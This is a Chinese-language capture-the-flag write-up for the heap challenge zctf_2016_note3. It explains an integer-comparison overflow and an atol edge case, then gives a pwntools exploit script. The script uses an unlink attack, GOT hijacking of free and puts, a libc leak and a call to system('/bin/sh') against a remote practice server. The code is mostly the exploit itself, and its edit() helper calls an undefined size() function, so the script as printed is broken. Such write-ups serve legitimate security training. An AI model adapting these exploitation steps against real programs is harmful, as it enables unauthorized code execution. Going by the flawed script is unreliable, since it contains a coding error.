zctf_2016_note3
很久没做题捞的淌口水了~
Vulnerable Code
一个在self_read中:
for ( i = 0LL; a2 - 1 > i; ++i )
当a2等于0时a2-1==-1是一个signed long,而右边的i是一个unsigned long两者比较时会进行类型转换,小类型向大类型转:signed long -> unsigned long也就是说原来-1时0xffffffff现在是个正数,可以大量读取
另一个在:
self_read((__int64)&nptr, 32LL, 10);
v1 = atol(&nptr);
if ( v1 < 0 )
v1 = -v1;
return v1;
这里是经过调试发现的,原理我也不是很清楚。对于atol是返回signed long数据,当输入-2**64(刚好越界)最后atol的处理是:
In file: /glibc/source/glibc-2.23/stdlib/strtol_l.c
498 {
499 __set_errno (ERANGE);
500 #if UNSIGNED
501 return STRTOL_ULONG_MAX;
502 #else
► 503 return negative ? STRTOL_LONG_MIN : STRTOL_LONG_MAX;
504 #endif
505 }
返回一个宏,可见这是一个比较极端的情况,该宏的定义:https://code.woboq.org/userspace/glibc/stdlib/strtol_l.c.html
也就是返回一个表达式:
>>> hex(18446744073709551615)
'0xffffffffffffffffL'
>>>
>>> hex(9223372036854775807)
'0x7fffffffffffffff'
>>> hex(9223372036854775807+1)
'0x8000000000000000L' #<<
>>>
#最后由于-取反其最高位置1,还是1
Exploit
- 构造fake_chunk利用unlink劫持bss上的指针表
- 好久没用unlink劫持了,忘得一干二净
- got表劫持
Exp
#+++++++++++++++++++exp.py++++++++++++++++++++
#!/usr/bin/python
# -*- coding:utf-8 -*-
#Author: Square_R
#Time: 2021.03.11 11.25.12
#+++++++++++++++++++exp.py++++++++++++++++++++
from pwn import*
context.arch = 'amd64'
def add(size,cont):
sh.sendlineafter('option--->>\n','1')
sh.sendlineafter('(less than 1024)\n',str(size))
sh.sendlineafter('content:\n',str(cont))
def overflow(padding):
sh.sendlineafter('option--->>\n','3')
sh.sendlineafter('id of the note:\n','-18446744073709551616')
sh.sendlineafter('new content:\n',str(padding))
def edit(index,cont):
sh.sendlineafter('option--->>\n','3')
sh.sendlineafter('id of the note:\n',size(index))
sh.sendlineafter('new content:\n',str(cont))
def delete(index):
sh.sendlineafter('option--->>\n','4')
sh.sendlineafter('id of the note:\n',str(index))
def show_addr(name,addr):
log.success('The '+str(name)+' Addr:' + str(hex(addr)))
host = '1.1.1.1'
port = 10000
local = 0
if local:
context.log_level = 'debug'
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf=ELF('./zctf_2016_note3')
sh = process('./zctf_2016_note3')
else:
#context.log_level = 'debug'
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf=ELF('./zctf_2016_note3')
sh = remote('node3.buuoj.cn',26454)
def pwn():
bss_ptr = 0x0000000006020C8
fake_fd = bss_ptr+8-0x18
fake_bk = bss_ptr+8-0x10
padding = p64(0)*2 + p64(0) + p64(0xa1) +p64(0)+p64(0x91)+p64(fake_fd)+p64(fake_bk)
padding += '\x00'*0x70 + p64(0x90) + p64(0x90)
add(0,'')
add(0x90,'')
add(0x80,'')
add(0,'')
edit(0,padding)
delete(2)
padding = p64(0)*2 + p64(elf.got['free'])*2 + p64(elf.got['puts'])
edit(1,padding)
overflow('\x30\x07\x40\x00\x00\x00')
delete(2)
puts_addr = u64(sh.recvuntil('\x7f',timeout=0.1).ljust(8,'\x00'))
libc_addr = puts_addr - libc.sym['puts']
system_addr = libc_addr+libc.sym['system']
show_addr('puts_addr',puts_addr)
show_addr('libc_addr',libc_addr)
show_addr('system_addr',system_addr)
edit(1,p64(system_addr).strip('\x00'))
add(0x20,'/bin/sh;')
delete(2)
'''
fake_chunk 0x602108
'''
if __name__ == '__main__':
pwn()
sh.interactive()